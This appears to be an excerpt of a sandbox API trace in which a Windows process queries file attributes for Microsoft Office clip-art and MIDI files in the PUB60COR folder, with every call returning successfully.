	[0051.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fcb98 | out: lpFileInformation=0x123fcb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8)) returned 1
	[0051.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e)) returned 1
	[0051.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcc38 | out: lpFileInformation=0x123fcc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4)) returned 1
	[0051.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c)) returned 1
	[0051.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b)) returned 1
	[0051.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0)) returned 1
	[0051.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb)) returned 1
	[0051.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada)) returned 1
	[0051.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
	[0051.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4)) returned 1
	[0051.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38)) returned 1
	[0051.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612c88 | out: lpFileInformation=0x12612c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec)) returned 1
	[0051.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02417_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612cd8 | out: lpFileInformation=0x12612cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb24)) returned 1
	[0051.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612d28 | out: lpFileInformation=0x12612d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fb8)) returned 1
	[0051.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612d78 | out: lpFileInformation=0x12612d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c)) returned 1
	[0051.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612dc8 | out: lpFileInformation=0x12612dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948)) returned 1
	[0051.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612e18 | out: lpFileInformation=0x12612e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c)) returned 1
	[0051.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612e68 | out: lpFileInformation=0x12612e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8)) returned 1
	[0051.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612eb8 | out: lpFileInformation=0x12612eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434)) returned 1
	[0051.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612f08 | out: lpFileInformation=0x12612f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218)) returned 1
	[0051.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612f58 | out: lpFileInformation=0x12612f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c)) returned 1
	[0051.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612fa8 | out: lpFileInformation=0x12612fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c)) returned 1
	[0051.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12612ff8 | out: lpFileInformation=0x12612ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34)) returned 1
	[0051.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613048 | out: lpFileInformation=0x12613048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0)) returned 1
	[0051.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613098 | out: lpFileInformation=0x12613098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28)) returned 1
	[0051.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x126130e8 | out: lpFileInformation=0x126130e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70)) returned 1
	[0051.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x12613138 | out: lpFileInformation=0x12613138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c)) returned 1
	[0051.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613188 | out: lpFileInformation=0x12613188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750)) returned 1
	[0051.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x126131d8 | out: lpFileInformation=0x126131d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540)) returned 1
	[0051.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613228 | out: lpFileInformation=0x12613228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4)) returned 1
	[0051.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613278 | out: lpFileInformation=0x12613278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b)) returned 1
	[0051.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x126132c8 | out: lpFileInformation=0x126132c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b)) returned 1
	[0051.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613318 | out: lpFileInformation=0x12613318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652)) returned 1
	[0051.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613368 | out: lpFileInformation=0x12613368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a)) returned 1
	[0051.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), fInfoLevelId=0x0, lpFileInformation=0x126133b8 | out: lpFileInformation=0x126133b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6)) returned 1
	[0051.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613408 | out: lpFileInformation=0x12613408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784)) returned 1
	[0051.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613458 | out: lpFileInformation=0x12613458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58)) returned 1
	[0051.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), fInfoLevelId=0x0, lpFileInformation=0x126134a8 | out: lpFileInformation=0x126134a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4)) returned 1
	[0051.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), fInfoLevelId=0x0, lpFileInformation=0x126134f8 | out: lpFileInformation=0x126134f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3)) returned 1
	[0051.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613548 | out: lpFileInformation=0x12613548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c)) returned 1
	[0051.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), fInfoLevelId=0x0, lpFileInformation=0x12613598 | out: lpFileInformation=0x12613598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511)) returned 1
